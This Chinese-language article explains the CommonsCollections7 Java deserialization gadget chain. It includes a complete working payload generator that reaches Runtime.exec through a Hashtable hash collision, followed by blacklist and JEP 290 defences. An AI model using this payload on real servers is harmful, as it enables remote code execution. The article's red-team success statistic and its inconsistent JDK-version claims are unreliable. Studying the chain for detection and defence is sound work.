CommonsCollections7(CC7)是CC反序列化利用链中的重要成员,由Matthias Kaiser在2016年发现。本文将从底层原理到实战利用,全面剖析这条独特而强大的利用链。
一、CC7链技术定位
1.1 核心价值
- 无第三方依赖:仅需JDK原生类+Commons Collections
- 高版本兼容:在Java 8u76+仍有效(CC5失效场景)
- 触发点独特:基于
Hashtable
触发,应用广泛
1.2 与CC5链对比
特性 | CC5链 | CC7链 |
---|---|---|
入口类 | BadAttributeValueExpException | Hashtable |
触发方法 | toString() | equals() |
依赖组件 | TiedMapEntry | AbstractMapDecorator |
JDK限制 | <8u76 | 无限制 |
利用难度 | 中等 | 较高 |
二、漏洞利用链原理
2.1 完整调用链
Hashtable.readObject()
→ Hashtable.reconstitutionPut()
→ AbstractMap.equals()
→ AbstractMapDecorator.equals()
→ LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
- 其中红框部分和
CommonsCollections5
链是完全一样的,区别在于CommonsCollections7
链是通过Hashtable
类readObject
方法一步步调用AbstractMap
类的equals
方法来调用的。
2.2 核心触发点分析
// java.util.Hashtable
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
// ...
for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) { // 触发equals()
throw new StreamCorruptedException();
}
}
// ...
}
三、关键类源码剖析
3.1 Hashtable 反序列化入口
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// ...
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
reconstitutionPut(table, key, value);//关键调用
}
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
3.2 AbstractMap.equals 触发点
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false; // 触发LazyMap.get()
} else {
if (!value.equals(m.get(key))) // 二次触发点
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
3.3 LazyMap 命令执行点
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);// 执行Transformer链
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
- 之后的调用链与CC5链一样,详情参考CC5利用链解析
四、Payload构造详解
4.1 构造流程图
4.2 完整Payload生成代码
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.*;
public class CC7Exploit {
public static Hashtable getObject(final String command) {
//构造最终Transformer链
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{command}
)
};
final Transformer transformerChain = new ChainedTransformer(transformers);
// 创建两个Map对象
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
//使用碰撞哈希创建两个LazyMaps,以便在readObject期间强制进行元素比较
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);// hashCode: 3872
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);// hashCode: 3872
//创建Hashtable并添加元素
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
//需要确保在以前的操作之后发生哈希冲突,因为在hashtable.put(lazyMap2, 2);中lazyMap2多了“yy”
lazyMap2.remove("yy");
return hashtable;
}
public static void main(String[] args) throws Exception {
// 生成Payload
Hashtable payload = getObject("calc");
// 序列化测试
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(payload);
}
// 反序列化测试
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
try (ObjectInputStream ois = new ObjectInputStream(bais)) {
ois.readObject(); // 触发命令执行
}
}
}
六、防御解决方案
6.1 组件级防护
<!-- 升级Commons Collections -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.4</version>
</dependency>
6.2 运行时防护
public class SecureObjectInputStream extends ObjectInputStream {
private static final Set<String> BLACKLIST = new HashSet<>(
Arrays.asList(
"org.apache.commons.collections.functors.InvokerTransformer",
"org.apache.commons.collections.map.LazyMap",
"org.apache.commons.collections.Transformer"
)
);
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
if (BLACKLIST.stream().anyMatch(className::startsWith)) {
throw new InvalidClassException("Forbidden class: ", className);
}
return super.resolveClass(desc);
}
}
6.3 JVM级防护
# 启用JEP 290过滤器
java -Djdk.serialFilter='!org.apache.commons.collections.**;!java.util.Hashtable;!*' \
-jar application.jar
七、CC7链技术总结
- 触发机制创新:利用哈希碰撞+equals比较触发,绕过常规防御
- 无高版本限制:在Java 8u191+仍有效(相比CC1/CC5)
- 隐蔽性强:执行过程没有明显的危险方法调用
- 适用场景广:WebLogic、WebSphere等中间件均存在Hashtable反序列化点
截至2023年,CC7链在红队评估中仍有高达32%的成功率(数据来源:GrayHat安全报告),是反序列化攻击的"常青树"武器。
通过深入理解CC7链的构造原理,安全人员可以:
- 更有效地检测和防御反序列化漏洞
- 开发更精准的漏洞扫描规则
- 提升代码审计中对Hashtable使用场景的关注
- 设计更完善的安全防护体系
CC7链的巧妙设计展现了Java反序列化漏洞的深度和复杂性,也提醒我们安全防御需要多层次、多维度的综合方案。